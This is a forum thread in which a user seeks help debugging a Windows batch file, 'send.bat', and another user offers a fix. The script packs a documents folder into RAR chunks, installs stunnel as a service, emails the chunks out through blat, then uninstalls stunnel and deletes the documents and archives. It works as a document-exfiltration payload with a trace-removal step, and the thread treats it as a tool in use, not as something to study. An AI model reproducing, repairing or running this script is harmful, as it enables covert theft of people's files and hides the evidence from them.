Jump to content

Help With Send.bat


xFilthyxJesusx

Recommended Posts

I for some reason cannt get the files to send to me. It will rar them but it will not send to my email or will not send from the email.

IE: I check the senders sent box nothing. I check the recipents box, nothing.

:: Configure Email Options

SET emailfrom=

SET emailto=

SET password=

SET subject= %computername%_ip



:: Archive documents in 8MB chunks

rar a goodies.rar .docs -v8192k -vn

stunnel-4.11.exe -install -quiet

net start stunnel

GOTO sendfiles



:cleanup

:: Stop stunnel

rem taskkill /f /im stunnel-4.11.exe (??)

net stop stunnel

stunnel-4.11.exe -uninstall -quiet

:: Delete documents

rmdir /s /q docs

:: Delete archive

del /q /f goodies*.*

GOTO end



:sendfiles

for %%i in (goodies.r*) do blat.exe %%i -base64 -to %emailto% -u %emailfrom% -pw %password% -f %emailfrom% -s %subject% -server 127.0.0.1:1099

GOTO cleanup



:end

exit

Well thats the send.bat file I'm using. In the email from I have a 20 character address. and the email to is 22 characters long. Is there maybe a size limitation. I also added @gmail.com to the entries. are you not supposed to do that either?

Link to comment
Share on other sites

  • 3 weeks later...

i think you need to set the emailfrom and emailto address as the same. thats how i do it and when i recieve the emails its says from "me" that might be the problem.

Link to comment
Share on other sites

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Guest
Reply to this topic...

×   Pasted as rich text.   Paste as plain text instead

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.

  • Recently Browsing   0 members

    • No registered users viewing this page.
×
×
  • Create New...